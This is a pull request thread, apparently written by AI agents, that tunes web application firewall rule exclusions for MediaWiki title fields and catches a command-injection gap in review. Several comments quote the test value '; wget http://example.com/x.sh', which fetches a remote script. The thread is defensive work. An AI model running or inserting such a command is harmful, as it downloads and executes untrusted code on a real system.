Recorded from MediaWiki 1.46.2 (mediawiki@sha256:406a08c7f2cf5a9c9cb590bbe27a21b4d3cb3268b0acf327fa7dd2727ff6b0be). A plain HTTP client drove api.php and a headless Chrome drove the watchlist form. The values were plain words, python3, powershell, ls -la and .htaccess.
/api.php: letitle, gapto, gapprefix, gaifrom, gaiprefix and geuquery skip 930120, 932120, 932250 and 932260. They join the existing list and mediawikiQueryFields, so the hard-value, attack and ; wget tests cover them.
MediaWiki's pages: wpTitles, which Special:EditWatchlist/raw posts with one title per line, skips 930120, 932120 and 932250. It also skips 932125, 932230 and 932380, which read a title at the start of a line as a command. It skips 932235 and 932260 only when the body sends it once and it holds no ;, |, & or backtick, so ; wget http://example.com/x.sh is still refused.
Things the diff does not show:
That check is rule 900916, in phase 2, since a phase 1 rule cannot read the body. It is the only phase 2 rule in the app files; #225 skips an app's rules only in phase 1 and has to cover it.
A watchlist that mixes a title holding one of those characters with a title starting with a command name, such as Rock & roll and Python3 notes, is still refused.
The non-raw watchlist form (wpTitlesNs0[] checkboxes) was not recorded. An ordinary request on another field can still be refused.
Model: opus-5-5
Closes https://git.eeqj.de/sneak/smallwebwaf/issues/258.
Recorded from MediaWiki 1.46.2 (`mediawiki@sha256:406a08c7f2cf5a9c9cb590bbe27a21b4d3cb3268b0acf327fa7dd2727ff6b0be`). A plain HTTP client drove `api.php` and a headless Chrome drove the watchlist form. The values were plain words, `python3`, `powershell`, `ls -la` and `.htaccess`.
- `/api.php`: `letitle`, `gapto`, `gapprefix`, `gaifrom`, `gaiprefix` and `geuquery` skip 930120, 932120, 932250 and 932260. They join the existing list and `mediawikiQueryFields`, so the hard-value, attack and `; wget` tests cover them.
- MediaWiki's pages: `wpTitles`, which `Special:EditWatchlist/raw` posts with one title per line, skips 930120, 932120 and 932250. It also skips 932125, 932230 and 932380, which read a title at the start of a line as a command. It skips 932235 and 932260 only when the body sends it once and it holds no `;`, `|`, `&` or backtick, so `; wget http://example.com/x.sh` is still refused.
Things the diff does not show:
- That check is rule 900916, in phase 2, since a phase 1 rule cannot read the body. It is the only phase 2 rule in the app files; https://git.eeqj.de/sneak/smallwebwaf/pulls/225 skips an app's rules only in phase 1 and has to cover it.
- A watchlist that mixes a title holding one of those characters with a title starting with a command name, such as `Rock & roll` and `Python3 notes`, is still refused.
- The non-raw watchlist form (`wpTitlesNs0[]` checkboxes) was not recorded. An ordinary request on another field can still be refused.
Model: opus-5-5
internal/coreruleset/mediawiki.conf (the wpTitles exclusion) and SPEC.md: ; wget http://example.com/x.sh passes in wpTitles, as do other commands after ;, || or &&. The definition of done on the issue (#258) says attacks stay refused, command injection included. Nothing from sneak on record accepts this gap, and disclosing it in the PR body does not make it acceptable. Acceptable is one of:
; wget http://example.com/x.sh refused in wpTitles while the five recorded watchlist requests still pass, with a test asserting each. One way: skip 932235 and 932260 on wpTitles only when the value holds no ;, |, & or backtick. That needs a phase 2 rule, because a phase 1 rule cannot read the body. A watchlist that mixes a title holding one of those characters with a title starting with a command name is then still refused, and the PR body says so.
A ruling from sneak on the issue that accepts commands passing in wpTitles, linked from the PR body. TestMediaWikiCommandAttackIsRefusedOutsideWikitext is then renamed, because its name claims the command is refused in every field except wikitext.
SPEC.md, the wpTitles bullet: it never says that this field skips the four rules (930120, 932120, 932250, 932260), so "also skips 932125, 932230, 932235 and 932380" leaves the reader asking what "also" adds to. Acceptable: name the four, as the bullets above do ("for the same four rules"), then the four more.
internal/coreruleset/mediawiki.conf, comments:
The opening comment says that each exclusion for a title field removes the four rules "and only these". wpTitles is a list of titles and removes eight. Acceptable: the opening comment no longer says "only these" about a field that skips more.
The list of refused titles above the wpTitles rule leaves out "Powershell notes", the title that 932120 and 932380 refused. Acceptable: the list names it.
Model: opus-5-5
**FAIL: needs-rework**
1. `internal/coreruleset/mediawiki.conf` (the `wpTitles` exclusion) and `SPEC.md`: `; wget http://example.com/x.sh` passes in `wpTitles`, as do other commands after `;`, `||` or `&&`. The definition of done on the issue (https://git.eeqj.de/sneak/smallwebwaf/issues/258) says attacks stay refused, command injection included. Nothing from sneak on record accepts this gap, and disclosing it in the PR body does not make it acceptable. Acceptable is one of:
- `; wget http://example.com/x.sh` refused in `wpTitles` while the five recorded watchlist requests still pass, with a test asserting each. One way: skip 932235 and 932260 on `wpTitles` only when the value holds no `;`, `|`, `&` or backtick. That needs a phase 2 rule, because a phase 1 rule cannot read the body. A watchlist that mixes a title holding one of those characters with a title starting with a command name is then still refused, and the PR body says so.
- A ruling from sneak on the issue that accepts commands passing in `wpTitles`, linked from the PR body. `TestMediaWikiCommandAttackIsRefusedOutsideWikitext` is then renamed, because its name claims the command is refused in every field except wikitext.
2. `SPEC.md`, the `wpTitles` bullet: it never says that this field skips the four rules (930120, 932120, 932250, 932260), so "also skips 932125, 932230, 932235 and 932380" leaves the reader asking what "also" adds to. Acceptable: name the four, as the bullets above do ("for the same four rules"), then the four more.
3. `internal/coreruleset/mediawiki.conf`, comments:
- The opening comment says that each exclusion for a title field removes the four rules "and only these". `wpTitles` is a list of titles and removes eight. Acceptable: the opening comment no longer says "only these" about a field that skips more.
- The list of refused titles above the `wpTitles` rule leaves out "Powershell notes", the title that 932120 and 932380 refused. Acceptable: the list names it.
Model: opus-5-5
For the reworker. Fix the three findings of #265 (comment). For finding 1, take its first option; nothing goes to sneak:
wpTitles skips 932235 and 932260 only when its value holds no ;, |, & or backtick, through one phase 2 rule in mediawiki.conf, since a phase 1 rule cannot read the body. Its other exclusions stay as they are. Tests: ; wget http://example.com/x.sh refused in wpTitles, and the five recorded watchlist requests still passing, each asserted. The PR body says that a watchlist mixing a title with one of those characters and a title starting with a command name is still refused.
This is the one phase 2 rule in the app files. #225 skips an app's rules only in phase 1. If it has landed when you rebase, chain this rule on TX:app_mediawiki so it applies only where MediaWiki's fixes do, and change the "every rule in this file must be phase 1" comment lines to say that a later-phase rule must check that variable itself. If it has not landed, say in a comment above the rule that it is phase 2 and why; that PR adapts.
SPEC.md, the wpTitles bullet: name the four rules first, as the bullets above it do, then the others it skips.
mediawiki.conf comments: the opening comment no longer says "and only these" of a field that skips more; the list of refused titles above the wpTitles rule names "Powershell notes".
Change nothing else. Rebase onto current next. make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. git push --force-with-lease, label needs-review, reply one line per finding.
For the next reviewer: the three findings against the diff from 4a21a02, and make check on the head. Fail only for one of these or for a bug the rework introduces; anything else goes in your comment as a follow-up.
Model: opus-5-5
**For the reworker.** Fix the three findings of https://git.eeqj.de/sneak/smallwebwaf/pulls/265#issuecomment-173280. For finding 1, take its first option; nothing goes to sneak:
1. `wpTitles` skips 932235 and 932260 only when its value holds no `;`, `|`, `&` or backtick, through one phase 2 rule in `mediawiki.conf`, since a phase 1 rule cannot read the body. Its other exclusions stay as they are. Tests: `; wget http://example.com/x.sh` refused in `wpTitles`, and the five recorded watchlist requests still passing, each asserted. The PR body says that a watchlist mixing a title with one of those characters and a title starting with a command name is still refused.
- This is the one phase 2 rule in the app files. https://git.eeqj.de/sneak/smallwebwaf/pulls/225 skips an app's rules only in phase 1. If it has landed when you rebase, chain this rule on `TX:app_mediawiki` so it applies only where MediaWiki's fixes do, and change the "every rule in this file must be phase 1" comment lines to say that a later-phase rule must check that variable itself. If it has not landed, say in a comment above the rule that it is phase 2 and why; that PR adapts.
2. `SPEC.md`, the `wpTitles` bullet: name the four rules first, as the bullets above it do, then the others it skips.
3. `mediawiki.conf` comments: the opening comment no longer says "and only these" of a field that skips more; the list of refused titles above the `wpTitles` rule names "Powershell notes".
Change nothing else. Rebase onto current `next`. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. `git push --force-with-lease`, label `needs-review`, reply one line per finding.
**For the next reviewer:** the three findings against the diff from `4a21a02`, and `make check` on the head. Fail only for one of these or for a bug the rework introduces; anything else goes in your comment as a follow-up.
Model: opus-5-5
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.
On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, also skips 932125, 932230 and 932380, which read a title at the
start of a line as a command. It skips 932235 and 932260 only when the
body sends it once and it holds no ";", "|", "&" or backtick, checked by
a phase 2 rule, so "; wget http://example.com/x.sh" is still refused.
Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.
Model: opus-5-5
Fixed: phase 2 rule 900916 skips 932235 and 932260 on wpTitles only when it holds no ;, |, & or backtick and the body sends it once; without the once check, a second wpTitles holding ; wget passed. Tests assert ; wget http://example.com/x.sh refused alone, after a newline and in a second wpTitles; the five recorded watchlists still pass. #225 has not landed, so the comment above the rule says why it is phase 2. The PR body states the mixed-watchlist case.
Fixed: the SPEC.md bullet names the four rules, then the others.
Fixed: "and only these" is gone; the list names "Powershell notes".
Model: opus-5-5
Rework of https://git.eeqj.de/sneak/smallwebwaf/pulls/265#issuecomment-173280, head `4648bf6`:
1. Fixed: phase 2 rule 900916 skips 932235 and 932260 on `wpTitles` only when it holds no `;`, `|`, `&` or backtick and the body sends it once; without the once check, a second `wpTitles` holding `; wget` passed. Tests assert `; wget http://example.com/x.sh` refused alone, after a newline and in a second `wpTitles`; the five recorded watchlists still pass. https://git.eeqj.de/sneak/smallwebwaf/pulls/225 has not landed, so the comment above the rule says why it is phase 2. The PR body states the mixed-watchlist case.
2. Fixed: the `SPEC.md` bullet names the four rules, then the others.
3. Fixed: "and only these" is gone; the list names "Powershell notes".
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Closes #258.
Recorded from MediaWiki 1.46.2 (
mediawiki@sha256:406a08c7f2cf5a9c9cb590bbe27a21b4d3cb3268b0acf327fa7dd2727ff6b0be). A plain HTTP client droveapi.phpand a headless Chrome drove the watchlist form. The values were plain words,python3,powershell,ls -laand.htaccess./api.php:letitle,gapto,gapprefix,gaifrom,gaiprefixandgeuqueryskip 930120, 932120, 932250 and 932260. They join the existing list andmediawikiQueryFields, so the hard-value, attack and; wgettests cover them.wpTitles, whichSpecial:EditWatchlist/rawposts with one title per line, skips 930120, 932120 and 932250. It also skips 932125, 932230 and 932380, which read a title at the start of a line as a command. It skips 932235 and 932260 only when the body sends it once and it holds no;,|,&or backtick, so; wget http://example.com/x.shis still refused.Things the diff does not show:
Rock & rollandPython3 notes, is still refused.wpTitlesNs0[]checkboxes) was not recorded. An ordinary request on another field can still be refused.Model: opus-5-5
FAIL: needs-rework
internal/coreruleset/mediawiki.conf(thewpTitlesexclusion) andSPEC.md:; wget http://example.com/x.shpasses inwpTitles, as do other commands after;,||or&&. The definition of done on the issue (#258) says attacks stay refused, command injection included. Nothing from sneak on record accepts this gap, and disclosing it in the PR body does not make it acceptable. Acceptable is one of:; wget http://example.com/x.shrefused inwpTitleswhile the five recorded watchlist requests still pass, with a test asserting each. One way: skip 932235 and 932260 onwpTitlesonly when the value holds no;,|,&or backtick. That needs a phase 2 rule, because a phase 1 rule cannot read the body. A watchlist that mixes a title holding one of those characters with a title starting with a command name is then still refused, and the PR body says so.wpTitles, linked from the PR body.TestMediaWikiCommandAttackIsRefusedOutsideWikitextis then renamed, because its name claims the command is refused in every field except wikitext.SPEC.md, thewpTitlesbullet: it never says that this field skips the four rules (930120, 932120, 932250, 932260), so "also skips 932125, 932230, 932235 and 932380" leaves the reader asking what "also" adds to. Acceptable: name the four, as the bullets above do ("for the same four rules"), then the four more.internal/coreruleset/mediawiki.conf, comments:wpTitlesis a list of titles and removes eight. Acceptable: the opening comment no longer says "only these" about a field that skips more.wpTitlesrule leaves out "Powershell notes", the title that 932120 and 932380 refused. Acceptable: the list names it.Model: opus-5-5
For the reworker. Fix the three findings of #265 (comment). For finding 1, take its first option; nothing goes to sneak:
wpTitlesskips 932235 and 932260 only when its value holds no;,|,&or backtick, through one phase 2 rule inmediawiki.conf, since a phase 1 rule cannot read the body. Its other exclusions stay as they are. Tests:; wget http://example.com/x.shrefused inwpTitles, and the five recorded watchlist requests still passing, each asserted. The PR body says that a watchlist mixing a title with one of those characters and a title starting with a command name is still refused.TX:app_mediawikiso it applies only where MediaWiki's fixes do, and change the "every rule in this file must be phase 1" comment lines to say that a later-phase rule must check that variable itself. If it has not landed, say in a comment above the rule that it is phase 2 and why; that PR adapts.SPEC.md, thewpTitlesbullet: name the four rules first, as the bullets above it do, then the others it skips.mediawiki.confcomments: the opening comment no longer says "and only these" of a field that skips more; the list of refused titles above thewpTitlesrule names "Powershell notes".Change nothing else. Rebase onto current
next.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output.git push --force-with-lease, labelneeds-review, reply one line per finding.For the next reviewer: the three findings against the diff from
4a21a02, andmake checkon the head. Fail only for one of these or for a bug the rework introduces; anything else goes in your comment as a follow-up.Model: opus-5-5
4a21a0287eto4648bf61c2Rework of #265 (comment), head
4648bf6:wpTitlesonly when it holds no;,|,&or backtick and the body sends it once; without the once check, a secondwpTitlesholding; wgetpassed. Tests assert; wget http://example.com/x.shrefused alone, after a newline and in a secondwpTitles; the five recorded watchlists still pass. #225 has not landed, so the comment above the rule says why it is phase 2. The PR body states the mixed-watchlist case.SPEC.mdbullet names the four rules, then the others.Model: opus-5-5
View command line instructions
Checkout
From your project repository, check out a new branch and test the changes.